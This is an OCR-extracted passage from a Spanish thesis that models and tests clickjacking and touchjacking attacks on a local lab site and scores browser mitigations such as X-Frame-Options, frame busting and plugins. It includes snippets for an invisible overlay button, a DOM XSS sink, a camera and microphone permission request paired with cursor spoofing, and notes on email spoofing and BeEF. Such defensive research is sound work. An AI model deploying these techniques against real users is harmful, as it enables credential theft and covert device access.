Scheme Disclosure sistema de administracion de cambios autenticacion personalizado.
de credenciales débil
129 Elevation Using Media Elevation La pagina WEB puede hacerse pasar Validar el origen de los recursos de
Impersonation of Privilege | por el contexto del usuario para obtener la pagina web.
privilegios adicionales
130 Cross Site Scripting Media Tampering El servidor web puede estar sujeto a Sanitizar las entradas de datos.
Cross Site Scripting
131 Spoofing the Hacker Baja Spoofing Un atacante puede ingresar de forma Utilizar un mecanismo de
External Entity no autorizada al servidor web autenticacion para identificar
cualquier acceso externo
132 Elevation Using Baja Elevation El servidor WEB puede hacerse pasar Validar las entradas del servidor
Impersonation of Privilege | por el contexto del usuario para obtener web.

privilegios adicionales
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3.2.2.Arbol de Ataque
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Figura 10. Arbol de Ataque.
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3.3. Vectores de Ataque

Una vez finalizadas las etapas de reconocimiento y andlisis de vulnerabilidades
se han identificado los siguientes vectores de ataque para el escenario
planteado, con el fin de obtener como resultado una tabla resumen como se

muestra en la Tabla 5.

s =
F
P W
g
g
- A
: B |
®
:
a%EEE
5" z
qe@
g“f%
zggg
= gg
L
e (1% g ?
2 g
. : §
e i
Rl
2~ H
B igg 3
g
(@]
(%]
§£§
E
3
&
A
g
>
E

Figura 11. Identificacion de vectores de ataque.
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Tabla 5. Vectores de Ataque.

ID VECTOR DE VECTOR DE ATAQUE TECNICA
ATAQUE
Vi Phishing
V2 Al- Interfaz Grafica
V3 A2-Interfaz Grafica
V4 B1"B2-A3- Interfaz Grafica
V5 Ad-Interfaz Grafica
V6 B6-A6-Spoofing CLICKJACKING
V7 C1-B7-A6-Spoofing
V8 C2-B7-A6-Spoofing
V9 A7-Spoofing
V10 A8- Cross Site Scripting
V11 A10- Cross Site Scripting
V12 A9- Cross Site Scripting
V13 B3-A5- Interfaz Grafica
V14 B4-A5- Interfaz Grafica TOUCHJACKING
V15 B5-A5- Interfaz Grafica

3.3.1.Niveles de Amenaza

Para el andlisis del nivel de Amenaza, tomamos como linea base los atributos
genéricos de intensidad, ocultacién, ciber y acceso [17] con el fin de evaluar el

perfii de amenaza, considerando pardmetros de compromiso y nivel de

conocimiento del atacante, que afectarian directamente a nuestro sistema.

Perfil de Amenaza: Para el perfil de amenaza se ha subdividido en dos

grandes caracteristicas que seran el nivel de compromiso y el nivel de

conocimiento.
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3.3.1.1. Nivel de compromiso

Nivel de intensidad: Con respecto al nivel de intensidad se ha tomado en
cuenta el nimero de intentos 0 métodos posible de atagques que se pueden
efectuar de forma recurrente hasta llegar al objetivo.

Tabla 6. Niveles de intensidad.
NIVEL DESCRIPCION

Cuando la amenaza esta altamente determinada a alcanzar su

objetivo, aceptando todas las consecuencias.

Medio (2) | Cuando la amenaza esta moderadamente determinada a

alcanzar su objetivo, aceptando algunas de las consecuencias.

Bajo (1) | Cuando la amenaza esta determinada a alcanzar su objetivo,

sin aceptar las consecuencias.

Nivel de Ocultaciéon: Para el nivel de ocultacion hemos determinado que tan

silencioso es el ataque hasta llegar al objetivo.

Tabla 7. Niveles de Ocultacion.
NIVEL DESCRIPCION

La amenaza es altamente capaz de mantenerse en secreto

hasta alcanzar el objetivo

Medio (2) | La amenaza es moderadamente capaz de mantenerse en

secreto hasta alcanzar el objetivo

Bajo (1) | La amenaza no es capaz de mantenerse en secreto hasta

alcanzar el objetivo

3.3.1.2. Nivel de conocimiento
Cyber: Evaluaremos el nivel de conocimiento que se debe tener para llevar a

cabo los diferentes tipos de ataques.
Tabla 8. Niveles de Cyber.
NIVEL DESCRIPCION

La amenaza deber ser utilizada por un experto para lograr su

objetivo.
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Medio (2) | La amenaza puede ser aplicada por un usuario nivel intermedio

para lograr su objetivo.

Bajo (1) | La amenaza puede ser aplicada por un usuario novato para
lograr su objetivo.

Acceso: Aqui se determinard el acceso que se puede llegar a tener con una

amenaza sobre un sistema restringido.

Tabla 9. Niveles de Acceso.
NIVEL DESCRIPCION

La amenaza es capaz de permitir el acceso ilimitado a un

sistema restringido.

Medio (2) | La amenaza es capaz de permitir el acceso limitado a un

sistema restringido.

Bajo (1) | La amenaza no es capaz de permitir el acceso a un sistema

restringido.

NIVEL DE AMENAZA
Para determinar el nivel de amenaza, se ha considerado los valores maximos
y minimos (entre 4 y 12) determinando 3 niveles que se muestran a

continuacion:

Tabla 10. Niveles de Amenaza.
NIVEL DESCRIPCION

La amenaza es capaz de permitir el acceso ilimitado a un

sistema restringido.

Medio (7-9) | La amenaza es capaz de permitir el acceso limitado a un

sistema restringido.

Bajo (4 — 6) | La amenaza no es capaz de permitir el acceso a un sistema

restringido.
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3.4. Estimacion de Riesgo de Vectores de Ataque

Para la estimacion del riesgo se procede al analisis de cada uno de los vectores
de ataque mediante la sumatoria de los atributos genéricos de intensidad y
conocimiento, con el fin de determinar cuales son los riesgos de nivel alto que

pueden afectar nuestro escenario basados en la Tabla 10.

Tabla 11. Andlisis de vectores de ataque.

ID DEL

VECTOR DE VECTOR DE ATAQUE I O] C| A A\‘r'n":r'lszz TECNICA
ATAQUE
V1 Phishing 2 | 2| 2 8

V2 Al- Interfaz Gréfica

V3 A2-Interfaz Grafica

NN

V4 B17B2-A3-Interfaz Grafica

V5 Ad-Interfaz Grafica

V6 B6-A6-Spoofing

V7 C1-B7-A6-Spoofing

V8 C2-B7-A6-Spoofing

V9 A7-Spoofing

V10 A8- Cross Site Scripting

V11l A10- Cross Site Scripting

CLICKJACKING

V12 A9- Cross Site Scripting

V13 B3-A5- Interfaz Grafica

V14 B4-A5- Interfaz Grafica

PINININIEININN

V15 B5-A5- Interfaz Grafica

TOUCHJACKING

I: Intensidad O: Ocultacion C: Cyber A: Acceso

Una vez concluido el analisis mediante la matriz genérica de amenazas se ha
reducido nuestro arbol de ataque (Anexo Il), pudiendo identificar como niveles
de amenaza alto los siguientes vectores de ataque con respecto a clickjacking
obtenemos los vectores: V4, V6, V9, V10, y con respecto a touchjacking los
vectores: V12 y V13.

IMPLEMENTACION Y EVALUACION

En este capitulo se realiza la implementacion partiendo de los escenarios
planteados con el fin de recopilar la informacién necesaria, para evaluar y
analizar los resultados, esta informacidn nos permitira evidenciar oportunidades

de mejora en cada uno de los escenarios analizados.
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4.1. Definicion de Escenarios de Evaluacion

La fase de experimentacion se complementara con la definicion de diferentes
escenarios y pardmetros relacionados con el nivel de complejidad del ataque y
asumiendo que la victima tiene un nivel de conocimiento medio-alto en
seguridad (usuario avanzado o experto), se han planteado tres tipos de
escenarios que seran considerados mediante las caracteristicas de cada uno
de los navegadores:

Escenario 1 Escenario 2 Escenario 3
* Navegador Microsoft e Sanitizacion e Sanitizacion
Edge y Google Microsoft Edge y Microsoft Edge y
Chrome Google Chrome Google Chrome
e Sin plugins e Sin plugins e Con plugins

m

Figura 12. Escenarios de analisis.

Escenario 1: Sin aplicacion de sanitizacion web ni plugins en MS Edge y en

Google Chrome.

Escenario 2: Con aplicacion de sanitizacion web en ambos, Edge y Chrome,

pero sin plugins en Chrome.

Escenario 3. Con sanitizacion web y con plugins, en Edge y Chrome;

respectivamente.

Estas observaciones permitiran determinar el comportamiento de estos
ataques en los distintos navegadores Web, asi como también, evaluar su

eficiencia dentro de los escenarios planteados.

Se implementan cada uno de los escenarios planteados de acuerdo con el

andlisis de las condiciones definidas en el Modelo del Sistema.
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4.2 Valoracion de Riesgo de los Escenarios

Cada uno de los escenarios seran evaluados de acuerdo con los pardmetros

de impacto y probabilidad que se muestran en la Tabla 12 y Tabla 13

respectivamente.
Tabla 12. Niveles de Impacto.

IMPACTO DEFINICION
Puede afectar notablemente a la victima ocasionando
robo de informacion sensible, asi como obtener
acceso total al equipo comprometido.

MEDIO (2) Puede afectar parte de recursos de la victima sin
ocasionar mayor dafio al sistema atacado o la victima.

BAJO (1) No afecta directamente a la victima y Unicamente se
utiliza para beneficio del atacante.

Tabla 13. Niveles de Probabilidad.

PROBABILIDAD

DEFINICION

Existen escasas técnicas y herramientas para

contrarrestar este tipo de amenaza.

MEDIO (2) Mediante el uso de diferentes técnicas y herramientas
se puede mitigar las amenazas existentes.

BAJO (1) Existen muchas técnicas y herramientas que logran
mitigar completamente este tipo de ataques.

Finalmente se evaluara el riesgo mediante un mapa de calor cotejando la

Probabilidad vs el Impacto como se muestra en la Figura 13.

IMPACTO
NIVEL DE RIESGO MEDIO | BAJO
1. Bajo 3 3
2. Medio PROBABILIDAD | MEDIA 3 2

Figura 13. Mapa de Riesgos.
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4.3

De acuerdo con las vulnerabilidades identificadas inicialmente y basados en el
mapa de riesgos se han determinado los siguientes valores con respecto a
Impacto (1), Probabilidad (P) y Riesgo (R) de cada uno de los vectores de
ataque, ademas se han seleccionado los escenarios en los cuales seran

evaluados.
Tabla 14. Estimacion del riesgo.
Vector de Ataque Il P| R |El1|E2| E3

V4: Bland B2-A3- Interfaz Gréfica

V6: B6-A6-Spoofing

V9: A7-Spoofing

V10: A8- Cross Site Scripting

V12: A9- Cross Site Scripting

W W N W N W
RN DN DN wWN
Nl W N W w w

V13: B3-A5- Interfaz Grafica

Implementacion de Escenarios de Ataque

Para la implementacion de los escenarios de ataque se desarrollaron dos tipos
de paginas web en HTML y CSS, la pagina web principal que denominaremos
pl.html y una secundaria que denominaremos p2.html, con respecto a la
implementacion del vector de ataque V13 se utilizé la herramienta Android
Studio con el fin de realizar la evaluacién desde una aplicacion movil nativa,
cada implementacion fue desarrollada con el fin de que sean utilizadas para las
pruebas de ataques de clickjacking y touchjacking, ademas cabe indicar que
las paginas web estaran alojadas en un servidor local XAMMP.

Las condiciones en las que seran evaluados los escenarios se encuentran

definidas en la Figura 12.

4.3.1. Implementacion del Escenario 1

Para la implementacién del escenario 1 se utilizan los vectores de ataque: V4
y V10 los mismos seran evaluados bajo las siguientes condiciones:

= Navegador Microsoft Edge y Google Chrome.

= Sin plugins.
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Vector de ataque V4
Para la implementacion de este vector de ataque utilizaremos nuestra pagina
web pl.html (Anexo Ill), con el fin de simular el acceso a una pagina con ingreso

de datos (usuario y contrasefia) y secuestrar el clic del usuario.

W & £ 192168148 x BRI - 8 x
T6a144 x = L8

Bienvenido

Iniciar Sesién

Olvidé mi contraseia

Figura 14. Pagina HTML.

Mediante la utilizacion de un iframe en el cual incluiremos la pagina pl.htmly
detras ocultaremos un boton que estara alineado a nuestra pagina original, se
ha realizado la modificaciéon dentro del archivo CSS con el fin de que este

elemento este oculto para el usuario.

Elbutton{
width: 224px;
top: 392px;
height: 50px;
left: 858px;
position: absolute;
Zdpndex- 1 -

I opacity: 0; I
cur=sor: pointer;

-1
Figura 15. Archivo de edicién CSS.

De esta forma conseguimos aplicar una de las técnicas mas utilizadas para el
tipo de ataques de touchjacking y clickjacking que es el de transparentar los

elementos de la pagina maliciosa con el fin de robar el clic del usuario.
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Bienvenido

Usuario

Contrasena

‘ Atacanie

Olvidé mi contrasefia

Figura 16. Ocultacion de botén malicioso

Una vez generado nuestro sitio web se procedié con la implementacion como

se muestra en el Anexo V del Escenario 1 (V4).

Vector de ataque V10

Para la implementacion de este vector de ataque se utilizan los navegadores
Microsoft Edge y Google Chrome sin la implementacion de plugins ni medidas
de mitigacion, se procedio agregar codigo javascript para ejecutar el ataque
DOM XSS en nuestra pagina web pl.html con el fin de permitir inyectar codigo
malicioso en nuestro sitio web y realizar las evaluaciones y mitigaciones de este

tipo de ataque.

ent.write(location.hash.substring(1)});

Figura 17. JavaScript para Atague DOM XSS

Se agrega el script document write que permite insertar directamente cédigo en
el hash después del simbolo #, facilitando la insercion de payloads, de esta
forma manipulamos el DOM para inyectar nuestro codigo malicioso como se

muestra en el Anexo VIII del Escenario 1 (V10).

4.3.2. Implementacién del Escenario 2

Para la implementacion del escenario 2 se utilizan los vectores de ataque: V4,

V6, V9, V12, V13 que seran implementados bajo las siguientes condiciones:
35



= Sanitizacién Microsoft Edge y Google Chrome.

= Sin plugins.

Vector de ataque V4

Para la implementacion de este vector de ataque se utiliza la técnica de
ocultacién mediante la modificacién de la opcion opacity dentro del archivo CSS
con el fin de ocultar nuestro botén malicioso sin que sea perceptible para el
usuario, se aplicaron las medidas de sanitizacién citadas para este escenario
gue es la utilizaciéon de Xframe para evitar que nuestro sitio web sea utilizado
en un iframe dicha implementacion se encuentra desarrollada en el Anexo V
del Escenario 2 (V4).

Vector de ataque V6

Para la implementacion de este vector de ataque se utiliza el sitio web
anonymailer.net para el envio de correo electronico con el fin de suplantar un
correo electronico real y persuadir al usuario para que ingrese a un link
malicioso el cual redirige a un sitio web que solicita los datos del usuario con el
fin de sustraer esta informacion, el desarrollo de esta implementacion se

encuentra explicado en el Anexo VI del Escenario 2 (V6).

Vector de ataque V9

La ejecucion de este vector de ataque se lo realizo con el navegador Microsoft
Edge y Google Chrome sin la implementacion de plugins ni medidas de
mitigacion, se procedié a crear una ventana flotante que simula permisos de
cookies en nuestro sitio web pl.html, ademas se agrego cddigo javascript para

solicitar permisos de acceso a la camara y microfono del usuario.

.medialevices.getUserMedia({audio: true, wvideo: true}).then((stream)=>{

£

Figura 18. Javascript para solicitar acceso a camara y micréfono.
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Una vez realizado los pasos mencionados anteriormente se procedi6é a ocultar
nuestro cursor con la opcién cursor none y se lo modificd para aparentar ser el
real mientras que nuestro cursor original fue posicionado sobre la opcion de
permitir acceso a la cdmara y micr6fono como se muestra en el Anexo VIl del
Escenario 2 (V9).

Vector de ataque V12

Para la implementacion de este vector de ataque se utiliza el sistema operativo
Kali Linux en su version 2020 y se ejecuta la herramienta beef [25], para
proceder a realizar las pruebas en un dispositivo movil con sistema Operativo
IOS, en los navegadores Google Chrome y Microsoft Edge sin la utilizacion de
plugins ni sanitizacion de sitios web, los pasos explicados anteriormente se

encuentran desarrollados en el Anexo IX del Escenario 2 (V12).

Vector de ataque V13

Para la implementacién de este vector de ataque se utiliza la aplicacion Android
Studio en la version 3.6.2 con el fin de crear una interfaz netamente mévil y
manipular el contenido del WebView para realizar un ataque a nivel de Ul
WebView [11], se analizara la efectividad de este tipo de ataques desde una
aplicacion movil, el desarrollo de esta implementacibn se encuentra

especificada en el Anexo X del Escenario 2 (V13).

4.3.3. Implementacion del Escenario 3

Para la implementacion del Escenario 3 se utilizo el vector de ataque V4 que
sera evaluado bajo las siguientes condiciones:

= Sanitizacién Microsoft Edge y Google Chrome.

= Con plugins.
Vector de ataque V4
Para la implementacion de este vector de ataque se utiliza la técnica de
ocultacion mediante la modificaciéon de la opcion opacity dentro del archivo

CSS, ademas se implementd la sanitizacion del cédigo y se utilizaron plugins
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para los navegadores Microsoft Edge y Google Chrome, como se muestra en
el Anexo V del Escenario 3 (V4).

4.4 Evaluacion de Mitigaciones

En este capitulo se evallan las mitigaciones propuestas por los autores dentro
de las investigaciones realizadas y se analiza el nivel de eficiencia de estas

contramedidas frente a los ataques de clickjacking y touchjacking.

4.4.1. Mitigaciones del Escenario 1

Dentro del escenario 1 segun las condiciones planteadas no se implementaron
medidas de mitigacion ni a nivel de cédigo ni mediante el uso de plugins con

respecto a los vectores de ataque V4 y V10.

4.4.2. Mitigaciones del Escenario 2

Con respecto al escenario 2 se ejecutaron las siguientes medidas de mitigacion

para cada uno de los vectores de ataque implementados.

Mitigacion para el vector de ataque V4: Para este vector de ataque se aplico
las medidas de sanitizacion mencionadas en la investigacion mediante la
utilizacion de codigo X-Frame dentro de nuestro servidor local, para ello se
realizan pruebas con el navegador Microsoft Edge y Google Chrome con el fin
de evidenciar la efectividad con la que se pueden mitigar las técnicas de
clickjacking, la implementacibn mencionada anteriormente se encuentra

explicada en la Mitigacion E2 (V4).

Mitigacién para el vector de ataque V6: Para la mitigacion del vector de
ataque V6 se aplica la técnica de randomizacion de la interfaz del usuario en
este caso se ha realizado esta accion en el botén de ingreso de nuestro sitio
web pl.html, con el fin de evitar que el atacante lleve a cabo un ataque de
clickjacking la implementacion se encuentra desarrollada en la Mitigaciéon E2
(V6).
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Mitigacién para el vector de ataque V12: Como medida de mitigacion ante
este vector de ataque se realiza la implementacion de cddigo Frame Busting el
cual consiste en bloquear la carga de iframes.

La segunda medida de mitigacién consiste en agregar codigo javascript a
nuestro sitio web con el fin de que detecte si se encuentra anclado con iframe
a sitios externos a los que puede estar asociada nuestra pagina web, estas
implementaciones se encuentra desarrolladas en la Mitigacion E2 (V12) .

Mitigacion para el vector de ataque V13: Para la implementacién de las
medidas de mitigacion de este vector de ataque se han evaluado dos opciones
para la primera medida de mitigacion se ha implementado un mensaje de alerta
con el fin de que el usuario pueda identificar que la aplicacion que esta
utilizando cuenta con caracteristicas que podrian ser potencialmente
peligrosas, y la segunda opcion es el uso de Sandbox en la pagina web que se
carga en nuestro aplicativo movil, la implementacién de estas medidas de

mitigacion se encuentran desarrolladas en la Mitigacion E2 (V13).

4.4.3. Mitigaciones del Escenario 3

Con respecto al escenario 3 se han planteado las siguientes medidas de

mitigacion para los vectores de ataque implementados

Mitigacion para el vector de ataque V4: Para el escenario 3 se desplego la
pagina web pl.html en los navegadores: Google Chrome y Microsoft Edge
implementando como medida de sanitizacién codigo javascript conocido como
Frame Busting que impida que se inserten iframes que no pertenecen a nuestro
host local mostrando un mensaje de acceso denegado en caso de que detecte

una ubicacion fuera de nuestro sitio, como se muestra a continuacion:
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w.top.location. host

W
ACC

t.body.innerHTML

Figura 19. Cédigo Frame Busting.

Para evaluar cada una de las mitigaciones se ha elaborado la Tabla 15, que
servira de guia para determinar el valor y el rango en el cual se encuentran los

resultados obtenidos después de aplicadas estas medidas.

Una vez finalizada la evaluacion de cada una de las mitigaciones aplicadas a
los vectores de ataque se ha realizado una tabla resumen Tabla 16, en la cual
se describe los resultados obtenidos para cada uno de los escenarios
planteados, asi como el nivel de eficiencia en el navegador Google Chrome y

Microsoft Edge.

EFICIENCIA DE MITIGACIONES (ep)
Sea el nimero de mitigacionesn € N*;laeficienciae; |1 <i < n, e¢; € (0,3)
de cada una de las mitigaciones implementadas, para el contexto de la tesis se
evalula utilizando rangos discretos, clasificados en niveles altos, medios y bajos,

como se muestra en la Tabla 15.

Tabla 15. Evaluacion de eficiencia de mitigaciones my.
NIVEL DESCRIPCION

Mitiga completamente la amenaza y el ataque no puede ser

llevado a cabo.

Medio (1-2) | Mitiga en parte la amenaza, pude afectar en parte el ataque

efectuado.

Bajo (0-1) | No mitiga la amenaza y el ataque puede ser efectuado.
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Tabla 16. Resumen Evaluacion de Mitigaciones.

EVALUACION DE MITIGACIONES

EFICIENCIA ( &;)

VECTORES ESCENARIOS Google Chrome
DE MITIGACIONES
ATAQUE E1 E2 E3 1]
SIN APLICACION DE
MITIGACION
X-FRAME | Deny 2,5 3
Same origin 1,75 2,3
NoFollow 2,75 2
V4 Adblock plus 2,5 2
Total script blocker 3 3
PLUGINS | Malware and url 1.2
scanner 1,2 !
No Script 2,2 2,7
Scanguard safe site 1,1 1,1
Ve Ul Randomization 2,75 2,75
Vo Blogueo Modificacion del
cursor 1,2 3
SIN APLICACION DE
V1o MITIGACION 2,3
Vi2 Frame Busting 2,4 2,4
Alerta de iframe 2.8 2,8
Vi3 Mensaje de Alerta 1,5 1,5
Sandbox Atribute 1,8 1,8

NIVEL DE EFICIENCIA RIESGO
RIESGO ANTES | PROMEDIO RESIDUAL
DE DE DESPUES DE LA
MITIGACION | MITIGACION| MITIGACION
(Ram) (7) (Rr)
1,9 1,1
2,75 0,25
21 0,30
1,15 o
2,60 0,40
1,65 0,35
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Ahora, el valor de eficiencia total de mitigaciones M; |1 < i < n,

independientemente del navegador utilizado, se calcula como la media de la
eficiencia de las mitigaciones (e;) para cada uno de los vectores de ataque como

se muestra en la Eq. (1)
_1lan __ejteytte
mi—;Zi:1ei——n . 1)
De forma similar, en la Eq. (2), la eficiencia promedio de mitigacion por vector de

ataque (V), se define como la media de la eficiencia total de mitigaciones (1m;).

1an My+My+-+my,
—Li=1M; =

v = (2)

n n

Como se plantea en la Tabla 14, previo a la evaluacion de las mitigaciones, se
realizo una estimacion del riesgo inherente, cuyos valores se muestran en la Figura

13, como estimaciones de riesgo antes de mitigacion (Ram).

Finalmente, como se menciona [18] el céalculo del riesgo residual (Rr), se define
como la diferencia entre el riesgo antes de las medidas de mitigacion (Ram) y la

eficiencia promedio de mitigacion por vector de ataque, como se muestra en la Eq.

3).

R, = Ry — 7 3)

45. Analisis de Resultados

Una vez implementadas las medidas de mitigacibn en cada uno de los

escenarios planteados se han obtenido los siguientes resultados:

45.1. Resultados Escenario 1

Con respecto al escenario 1 se obtuvieron los siguientes niveles de eficiencia.
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Tabla 17. Evaluacion de Mitigaciones Escenario 1.

EVALUACION DE MITIGACIONES
VECTORES EFICIENCIA (¢;)
DE ATAQUE MITIGACIONES Google Chrome
Media | Baja
va SIN APLICACION DE MITIGACION 0 0
V10 SIN APLICACION DE MITIGACION 0 |23
MITIGACION ESCENARIO 1
2,3
2,5
2
1,5
1
0,5 00 0
0 E__________& E_____&
Alta Media Baja Alta Media Baja
Microsoft Edge Google Chrome

EFICIENCIA

B V4 SIN APLICACION DE MITIGACION B V10 SIN APLICACION DE MITIGACION

Figura 20. Resultados del Escenario 1

Con Respecto al nivel de eficiencia de los vectores de ataque del Escenario 1
se debe citar que a pesar de que no se implementé medidas de mitigacion a
nivel de cddigo ni se usaron plugins en los navegadores Google Chrome y
Microsoft Edge existen vectores de ataque que son muchos mas eficientes con
respecto al navegador Microsoft Edge como se puede apreciar en la Figura 20,
el vector de ataque V10 que se refiere a la manipulacion del DOM, en el
navegador Microsoft Edge pudo ser ejecutado sin inconveniente mientras que
en el navegador Google Chrome no pudo ser efectuado debié a que posee una
mayor seguridad con respecto a este tipo de ataques, también se evidencia que
con respecto al vector de ataque V4 que se refiere a la aplicacion de la técnica
de ocultacion tuvo el mismo comportamiento en ambos navegadores, estos
valores fueron asignados con 0 en vista de que fueron imperceptibles para los
usuarios y debido a que no se implementaron medidas de mitigacién su riesgo

de ser ejecutado y lograr su objetivo es alto.
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45.2.Resultados Escenario 2

Con respecto al escenario 2 se obtuvieron los siguientes valores de eficiencia.

Tabla 18. Evaluacion de Mitigaciones Escenario 2.

VECTORES EFICIENCIA ( e))
DE MITIGACIONES Google Chrome
ATAQUE Media | Baja Media | Baja
Va4 X-FRAME |- 22NV 2,2 3
Same origin 1,75 2,3
V6 Ul Randomization 2,75 2,75
Bloqueo Modificacién del
V9
cursor 1,2 3
V12 Frame Busting 2,4 2,4
Alerta de iframe 2,8 2,8
Vi3 Mensaje de Alerta 1,5 1,5
Sandbox Attribute 1,8 1,8
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2,5

L]

1,5

[ury

0,5

MITIGACION ESCENARIO 2

275 2.8
2, 2,5
18 1,75
1,
1,2
Alta Media Baja
Microsoft Edge
EFICIEMNCIA

B V4 X-FRAME Deny B V4 ¥-FRAME Same origin
B V12 Frame Busting B V12 Alerta de iframe

3 3
2,7 28

Alta Media Baja

Google Chrome

® V6 Ul Randomization V3 Bloqueo Modificacidn del cursor

H V13 Mensaje de Alerta WV13 Sandbox Attribute

Figura 21. Resultados del Escenario 2
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Con respecto a la evaluacion del nivel de eficiencia de las mitigaciones
aplicadas en el escenario 2 se puede observar que el vector de ataque V4 que
utiliza la técnica de ocultacion al cual se le aplico la mitigacion de XFRAME y
gue evidencia ser efectiva sin embargo existe una pequefia diferencia con el
navegador Google Chrome ya que el Navegador Microsoft Edge permite al
usuario continuar con la pagina a diferencia de Google Chrome que realiza un
bloqueo completo del sitio Web Malicioso, con respecto al vector de ataque V6
sobre la randomizacion de la interfaz se obtuvieron los mismos resultados para
los dos navegadores al desplegar esta solucién, con respecto al V9 sobre el
bloqueo del cursor se puede evidenciar que es mas efectivo la utilizacion de
esta mitigacion en Google Chrome en vista de que no permite que se realice
ningun tipo de accién con el cursor mientras que Microsoft Edge realiza el
bloqueo del cursor pero esto no impide al usuario realizar algun tipo de accion,
con respecto al V12 sobre el ataque de XSS utilizando la herramienta Beef se
aplican las técnicas de mitigacion Frame Busting y Alerta de Iframe obtuvieron
el mismo nivel de eficiencia para ambos navegadores.

Finalmente, con respecto a la mitigacion del vector de ataque v13 mediante la
técnica de ataque a la interfaz del usuario con WebView se asignaron los
mismos valores para ambos navegadores en vista de que la evaluacion de las

medidas de mitigacion se la realizo en una interfaz netamente movil.

4 .5.3.Resultados Escenario 3

Con respecto al escenario 3 se obtuvieron los siguientes resultados.

Tabla 19. Evaluacion de Mitigaciones Escenario 3.

EVALUACION DE MITIGACIONES

SRR EFICIENCIA ( e;)

DE ATAQUE MITIGACIONES Google Chrome

Media | Baja
NoFollow 2,75 2
Adblock plus 2,5 2
va PLUGINS Total script blocker 3 3

Malware and url scanner 1,2 1,2
No Script 2,2 2,7
Scanguard safe site 1,1 1,1
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MITIGACION ESCENARIO 3

2,7
22
i i I i p

2,5

1,5

0,5
0
Alta Media Baja Alta Media Baja
Microsoft Edge Google Chrome
EFICIENCIA
B V4 PLUGINS NoFollow B V4 PLUGINS Adblock plus
V4 PLUGINS Total script blocker B V4 PLUGINS Malware and url scanner
B V4 PLUGINS No Script V4 PLUGINS Scanguard safe site

Figura 22. Resultados del Escenario 3

Con respecto a los resultados obtenidos del Escenario 3 se puede evidenciar
gue existe una mayor eficiencia en la proteccion de este tipo de ataques con
los plugins que estan orientadas a la deteccién de scripts tendiendo a una mejor
proteccion el navegador Google Chrome, cabe recordar que durante esta

evaluacion se utilizo el vector de ataque de ocultacion en la interfaz grafica.

También se debe citar que los plugins que obtuvieron una eficiencia de nivel
bajo son los que se encargan de analizar todo el sitio web, como la url de
nuestro navegador demostrando que los ataques de clickjacking no son 100%

detectables por plugins que cuenten con estas caracteristicas.
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4.5.4.Resultados de eficiencia de los navegadores

Tabla 20. Resultado de eficiencia de los navegadores.

EFICIENCIA DE NAVEGADORES
00 0 Google 00 o
VECTORES DE Eflc,enaa en Chrome Eficiencia en
ATAQUE Microsoft Google
Edge - M| B Chrome
0 0 0
2,5 3 3
1,75 1,75 2,3 2,3
2,75 2,75 2 2
V4 2,5 2,5 2 2
3 3 3 3
1,2 1,2 1,2 1,2
2,2 2,2 2,7 2,7
1,1 1,1 1,1 1,1
V6 2,75 2,75 2,75 2,75
V9 1,2 1,2 3 3
V10 0 0 2,3 2,3
2,4 2,4 2,4 2,4
vi2 2,8 2,8 2,8 2,8
1,5 1,5 1,5 1,5
Vi3 1,8 1,8 1,8 1,8
PROMEDIO EFICIENCIA 1,84 2,12
PORCENTAJE 61,33% 70,67%

Para el calculo de nivel de eficiencia de los navegadores se realiza el promedio
tomando en cuenta los resultados obtenidos de la eficiencia para cada uno de los
vectores de ataque planteados, bajo las mismas condiciones en los navegadores
Google Chrome y Microsoft Edge.

Se evidencia en los resultados obtenidos en la Tabla 20 que con respecto al
navegador Microsoft Edge presenta una eficiencia del 61,33% mientras que el
navegador Google Chrome presenta una eficiencia del 70,67%, determinandose
una ligera ventaja del navegador Google Chrome con respecto al nivel de eficiencia
en la mitigacion de cada uno de los ataques, pese a que en algunas condiciones
los navegadores responden de manera similar, por ejemplo, en los vectores de
ataque V6 y V12, que corresponden la utilizacion de Ul Randomization, Frame

Busting y Alerta de iframe.
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4.5.5.Riesgo Residual

Tabla 21. Riesgo residual después de aplicar mitigaciones.

EFICIENCIA DE ATAQUE
RIESGO
RIESGO
VECTORES | ores e | BESDUAL
MITIGACION "
ATAQUE MITIGACION
(Ram)
(R,)
va 1,1
V6 0,25
V9 0,90
V10 2 0,85
V12 0,40
Vi3 2 0,35

Con respecto a los resultados obtenidos de la eficiencia en base a cada una las
medidas de mitigacion se pueden apreciar que el riesgo residual disminuyo
notablemente con respecto a la valoracion del riesgo antes de aplicar las medidas
de mitigacion, reduciéndolos a una escala de riesgo medio y bajo.

De igual forma se evidencia una mayor eficiencia de las mitigaciones en los
vectores de ataque: V6, V12 y V13, que corresponden a las medidas de mitigacion
de Ul Randomization, Frame Busting, Alerta Iframe, Mensaje de Alerta y Sandbox
Atribute, que estan enfocadas netamente a identificar y mitigar los ataques de tipo

clickjacking y touchjacking.
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5 DISCUSION

Durante el desarrollo del Disefio experimental se pudo evidenciar que las
versiones actuales de los navegadores brindan una mayor proteccion referente
a los ataques a nivel web sin embargo todo dependera de la estructura o nivel
de complejidad que se apliqgue en el desarrollo del ataque. Se evidencio
también la importancia de realizar un andlisis previo del disefio de posibles
ataques para de esta forma mediante la utilizacién de herramientas como
Microsoft Threat modeling y el disefio de arboles de ataque permitan evidenciar
posibles falencias en el disefio bajo ciertas condiciones con el objetivo de

determinar las correcciones necesarias que deben ser aplicadas.

En referencia a la implementacion de los ataques se tiene:

e Clickjacking: Referente a los ataques de clickjacking su
implementacion es mucho mas frecuente con respecto a los ataques de
touchjacking, destacando el método de ocultacion debido a que muy
sencillo de implementar y sin medidas de mitigacion se torna
imperceptible para los usuarios, sin embargo, se pudo observar ademas
gue la técnica de email spoofing es muy factible de ser usada por los
atacantes en vista de que puede aplicarse ingenieria social que puede
resultar muy efectiva incluso para usuarios con conocimientos de
informéatica, en el desarrollo de los escenarios también se evidencio que
la técnica de cursor spoofing y dom XSS se encuentran mitigadas con
respecto algunos navegadores aunque son mucho mas complejas de

implementar.

e Touchjacking: Este tipo de ataque se usa con menor frecuencia pero
mediante la utilizacion de herramientas como beef se puede llevar
acabo, con respecto a la implementacién del método de ocultacién con
WebView este tipo de ataque resulta ser mas complejo en vista de que
existe un mayor esfuerzo por parte del atacante en realizar aplicaciones
gue permitan el robo de informacién y que logren camuflarse como una
aplicacién que no represente mayor riesgo a simple vista, no siendo el
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caso de aplicaciones web que representan un mayor riesgo y una mayor

factibilidad de ser ejecutadas.

En la etapa de evaluacién se pudo determinar que los navegadores Google
Chrome y Microsoft Edge pueden tener comportamientos diferentes en
referencia a los ataques y técnicas de mitigacion aplicadas dependiendo mucho
de un factor determinante con respecto al versionamiento. En la aplicacion de
las técnicas de mitigacion referente a clickjacking se implementé Xframe,
evidenciando que el navegador Microsoft Edge es un tanto mas décil que en el
